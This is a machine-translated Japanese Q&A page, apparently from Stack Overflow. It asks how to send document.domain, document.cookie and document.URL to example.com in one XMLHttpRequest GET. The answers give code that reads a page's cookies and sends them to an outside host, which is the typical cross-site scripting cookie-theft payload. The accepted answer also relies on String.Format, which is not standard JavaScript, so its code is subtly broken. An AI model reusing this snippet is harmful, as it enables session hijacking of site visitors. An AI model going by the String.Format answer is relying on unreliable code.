-3

a、b、c という名前の 3 つの変数があります。それぞれに変数を渡したいのですが、うまくいきません。1 つの変数と 1 つの get 変数を使用すると、次のように単純になります。

var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET","http://example.com/example.php?a="+document.domain,true);
xmlhttp.send();

しかし、たとえば、document.domain を変数 a に、document.cookie を変数 b に、document.URL を変数 c にすべて 1 つのリクエストで送信するにはどうすればよいでしょうか。

4

2 に答える 2

2

String.Format を使用したいようです

var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET",String.Format("http://example.com/example.php?a={0}&b={1}&c={2}",document.domain,document.cookie,document.URL),true);
xmlhttp.send();
于 2013-07-24T20:02:06.513 に答える
0

通常の URL と同じように行うだけです。

var url = "http://example.com/example.php?a="+document.domain + "&b=" + "..." + "&c=" + "...";

値を適切にエンコードすることも良い考えですencodeURIComponent

于 2013-07-24T20:01:32.710 に答える